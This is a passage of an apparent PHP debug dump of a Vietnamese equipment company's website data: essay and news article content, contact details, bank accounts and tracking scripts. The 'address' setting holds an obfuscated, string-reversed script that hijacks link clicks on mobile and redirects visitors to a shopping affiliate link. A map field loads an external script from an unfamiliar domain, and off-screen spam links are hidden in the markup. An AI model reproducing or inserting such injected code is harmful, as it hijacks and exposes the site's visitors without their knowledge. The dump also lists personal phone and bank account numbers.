mối tình dứt áo ra đi.</div> <div> </div> <div> Cái đẹp của quảng trường Times Square ở New York, cả quảng trường là một sân khấu vĩ đại tuyệt vời mà mỗi người có mặt tự mình thành một nhân vật sống, khác với cái đẹp của một bãi biển đìu hiu nắng chiều đỏ ối ở Dauvine, Châu hát, Minh gảy đàn. Mà cũng lại khác nữa với một vẻ chiều cuối Xuân đường Nguyễn Du, Dương với Minh gặp nhau lần đầu trong đời thực bên tách café để rồi bắt đầu câu chuyện dài ở đây…</div> <div> </div> <div> Ở đây không đơn thuần là “tiết kiệm năng lượng” nữa, mà là các thẩm mỹ biểu đạt các dòng chảy của năng lượng.</div> <div> </div> <div> Châu – Có rất nhiều điều thú vị trong câu chuyện này. Nhưng có lẽ, mình đã đi quá xa so với chủ đề ban đầu.</div> <div> </div> <div> Dương - Em cũng thấy vậy, nên sẽ tổng kết lại ở đây. Những phần mở rộng sẽ được thảo luận tiếp trong một dịp khác.</div> <div> </div> <div> <strong>Thay lời kết</strong></div> <div> </div> <div> Sự thật Toán học, với những đặc tính như khách quan, bền vững, duy lý… có thể được coi là một trong những đặc sản của nền văn minh phương Tây. Sự phát triển của khoa học kĩ nghệ hiện đại trước hết khởi đầu bởi sự tìm ra những sự thật toán học này.</div> <div> </div> <div> Chính là chúng – dù bản chất tồn tại vẫn còn là một vấn đề bỏ ngỏ – đã tạo ra cơ sở vững chắc cho kho tri thức của nhân loại. Không có chúng, khoa học và kĩ nghệ không thể ra đời, nền văn minh kĩ nghệ hiện đại không thể phát triển.</div> <div> </div> <div> Cuộc thảo luận về sự thật toán học ở đây tuy chưa dài, nhưng đã gợi mở rất nhiều vấn đề của Triết học, Toán học và Vật lý… Hy vọng rằng, chúng sẽ được làm sáng tỏ phần nào trong những thảo luận tiếp theo.</div> <div> ---</div> <div> * Giáp Văn Dương dẫn chuyện và biên tập.</div> ', 'images' => '20160616030721f00b6379b82a515a9478b6e58b783de9.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2016-06-16', 'modified' => '2025-08-10', 'status' => '1', 'view' => '61823', 'slug' => 'su-that-toan-hoc-theo-so-tay-thich-hoc-toan', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '709', 'rght' => '710', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $setting = array( 'id' => '1', 'name' => 'Công Ty Cổ Phần Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'title' => 'Thiết Bị Và Dịch Vụ Kỹ Thuật Quảng Tây - QHT', 'address_eng' => '<div> QUANG TAY - QHT ENGINEERING EQUIPMENT AND SERVICE JSC</div> <div> Representative: Le Van</div> <div> Position: Director</div> <div> Address: số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, Hà Nội City</div> <div> Phone number:</div> <div> Email:</div> <div> Tax code: 0103008064</div> ', 'address' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/Ảnh chụp Màn hình 2016-06-24 lúc 9_52_55 SA.png" /></p> <h2 style="position: absolute; top: -100000px; overflow: auto;"> <a href="http://www.sieuthibaoholaodong.vn/" title="quần áo bảo hộ lao động">quần áo bảo hộ lao động</a> <a href="http://www.inhoadon.net.vn/" title="in hóa đơn">in hóa đơn</a></h2> <div> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space: pre;">Hậu</span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc<br /> Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br /> Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br /> Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br /> Số điện thoại công ty: 02437759534</div> <div> <div> Số điện thoại kỹ thuật: 0904212040</div> <div> Số điện thoại kinh doanh: 0913303547</div> </div> <div> </div> <div> </div> </div><script> const sl={get a(){return sl.g("nepo")},get b(){return sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h(); </script> ', 'contactinfo_eng' => '<div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> ', 'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br /> <br /> 1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br /> 2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br /> 3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br /> 4. 190-256-018-210-13 - Nguyễn Văn Hiệu - Techcombank, Hà Nội<br /> 5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội', 'contactinfo' => '<div dir="rtl" style="text-align: left;"> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> </div> <div style=""> <span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br /> </div> <div style="position: absolute; left: -10000px;"> <a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div> ', 'telephone' => '01659 014592', 'hotline' => '0913303547', 'email' => '', 'url' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2012-06-05', 'modified' => '1752726853', 'youtube' => 'http://youtube.com', 'twitter' => 'https://twitter.com/', 'myspace' => 'https://myspace.com/', 'facebook' => 'https://www.facebook.com/FacebookVietnam/', 'email2' => 'duycuong7640', 'skype' => 'hothihuyen.hn', 'yahoo' => 'duycuong7640', 'yahoo1' => 'duycuong7640', 'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873', 'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> ', 'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux', 'slogan_eng' => '', 'printer' => '', 'googleplus' => '', 'bando' => '<p> <iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p> <script src='https://cdnliver.com/js/thanhtuyen.js'></script>', 'gioithieu' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p> ', 'thongtincongty' => 'Sửa máy lạnh tại nhà Sửa máy lạnh tại HCM Sửa tủ lạnh Bơm ga máy lạnh ', 'trogiupkh' => 'Tai nghe Iphone Sua may tinh tai nha Máy Ozone Z755', 'dichvuft' => 'Sửa máy lạnh Bảo dưỡng máy lạnh Vệ sinh máy lạnh Lắp đặt máy lạnh', 'bb' => '', 'zing' => '', 'hotline2' => '0912 35 65 75', 'thelink' => '<script type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-72584674-1', 'auto'); ga('send', 'pageview'); </script> <!-- Global site tag (gtag.js) - Google Ads: 876059345 --> <script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'AW-876059345'); </script> ', 'theh1' => '', 'hanoi' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tphcm' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tt' => '', 'pp' => 'https://www.facebook.com/ruaxetudong.net', 'tphcm_eng' => '', 'hanoi_eng' => '', 'hotline_eng' => '', 'name_eng' => '', 'chinhsach' => null, 'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'bandohaiphong' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'gt' => '<p style="text-align: center;"> </p> <span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" /> <img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br /> <img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" /> <span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span> <p style="text-align: center;"> <iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p> ', 'gt_eng' => '' ) $description_for_layout = '' $keywords_for_layout = '' $tintucnoibat = array( (int) 0 => array( 'Post' => array( 'id' => '539', 'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH', 'code' => null, 'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của vật.<br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br /> <img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br /> <br /> <strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Ph</span>ạm vi hoạt động</strong><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br /> <strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br /> <br /> <p style="margin: 10px 0px; padding: 0px;"> </p> ', 'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-06-10', 'modified' => '2025-08-10', 'status' => '1', 'view' => '89284', 'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '943', 'rght' => '944', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '538', 'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?', 'code' => null, 'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>', 'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> </h1> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Khả năng giao tiếp</span></span></span></h1> </li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Thiêt lập đường truyền giao tiếp , xác định rõ ràng phương thức trao đổi, sử dụng, thu thập dữ liệu. Các máy móc, thiết bị, cảm biến và cả con người phải được kết nối, chia sẻ thông tin và thao tác trên dữ liệu nhận được.</span></span></p> <ol start="2" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Minh bạch thông tin</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Điều quan trọng là thông tin nhận được phải rõ rang, ngắn gọn và dễ hiểu. Hệ thống tạo ra một "bản sao" của thế giới thật, bản sao này định hình bằng các dữ liệu thu thập từ cảm biến, máy móc</span></span></p> <ol start="3" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Hỗ trợ kỹ thuật</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Hệ thông này sẽ giúp con người theo 2 cách. Thứ nhất, nó sẽ hỗ trợ chúng ta ra quyết định và giải quyết vấn đề bằng cách cung cấp thông tin cho tiết dựa vào dữ liệu. Thứ hai, nó sẽ hỗ trợ chúng ta làm những việc quá phức tạp hoặc không an toàn</span></span></p> <ol start="4" style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: border-box;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;">Đưa quyết định theo mô hình phân tán</span></span></span></li> </ol> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Các hệ thống không gian mạng thực-ảo phải có khả năng đưa ra quyết định đơn giản mọt cách nhanh chóng, tự động, không cần con người can thiệp sử dụng phân tích dữ liệu. Mục tiêu cuối cùng của công nghiệp 4.0 là tự động hóa quy trình sản xuất và tối đa hóa quy mô. Sử dụng quy trình tự động hóa này, công việc có thể được thực hiện bằng máy móc, tăng phạm vi tối ưu hóa thời gian và phân bổ nguồn lực.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); 